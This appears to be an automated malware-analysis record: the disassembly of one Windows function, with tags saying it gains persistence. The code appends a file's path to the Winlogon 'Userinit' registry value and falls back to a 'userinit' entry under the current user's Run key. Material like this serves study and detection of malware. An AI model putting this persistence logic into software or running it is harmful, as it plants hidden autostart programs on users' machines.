Function at 0x100245e0
Capabilities:
Check if file exists
Persist via run registry key
Persist via winlogon helper dll registry key
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
mov dword [ebp - 8], 0
test esi, esi
je 0x100247ec
mov eax, esi
lea edx, [eax + 1]
mov edi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024600
sub eax, edx
push ebx
mov ebx, eax
je 0x100247eb
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x100247eb
push edi
push 0x110
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
mov dword [ebp - 0xc], edi
test edi, edi
je 0x100247ea
push 0x110
push 0
push edi
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push edi
push esi
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
lea eax, [ebp - 4]
push eax
push 0x103
push 0
push str.softwaremicrosoftwindows_ntcurrentversionwinlogon
push 0x80000002
call esi
test eax, eax
jne 0x10024790
mov edx, dword [ebp - 4]
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea ecx, [ebp - 8]
push ecx
push eax
push eax
push eax
push str.userinit
push edx
call esi
mov eax, dword [ebp - 8]
lea ecx, [eax + ebx + 3]
mov dword [ebp - 8], ecx
call fcn.10013d20
mov ebx, eax
test ebx, ebx
je 0x10024780
mov edx, dword [ebp - 4]
lea ecx, [ebp - 8]
push ecx
push ebx
push 0
push 0
push str.userinit
push edx
call esi
mov eax, dword [ebp + 8]
push eax
push ebx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x10024779
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100246e2
sub eax, edx
je 0x1002470c
cmp byte [ebx + eax - 1], 0x2c
je 0x1002470c
lea edi, [ebx - 1]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x100246f7
mov cx, word [0x1004aa50]
mov word [edi], cx
mov edi, dword [ebp - 0xc]
mov eax, edi
mov esi, edi
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024710
sub eax, esi
lea edi, [ebx - 1]
lea esp, [esp]
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x10024720
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebx - 1]
lea esp, [esp]
mov al, byte [edi + 1]
inc edi
test al, al
jne 0x10024740
mov dx, word [0x1004aa50]
mov eax, ebx
mov word [edi], dx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10024757
sub eax, edx
inc eax
push eax
mov eax, dword [ebp - 4]
push ebx
push 1
push 0
push str.userinit
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edi, dword [ebp - 0xc]
mov esi, ebx
call fcn.10013d60
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov edx, dword [ebp - 4]
push edx
jmp 0x100247dd
lea eax, [ebp - 4]
push eax
push 0xf013f
push 0
push str.softwaremicrosoftwindowscurrentversion_run
push 0x80000001
call esi
test eax, eax
jne 0x100247e3
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100247b0
mov ecx, dword [ebp - 4]
sub eax, edx
inc eax
push eax
push edi
push 1
push 0
push str.userinit
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, edi
call fcn.10013d60
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret 4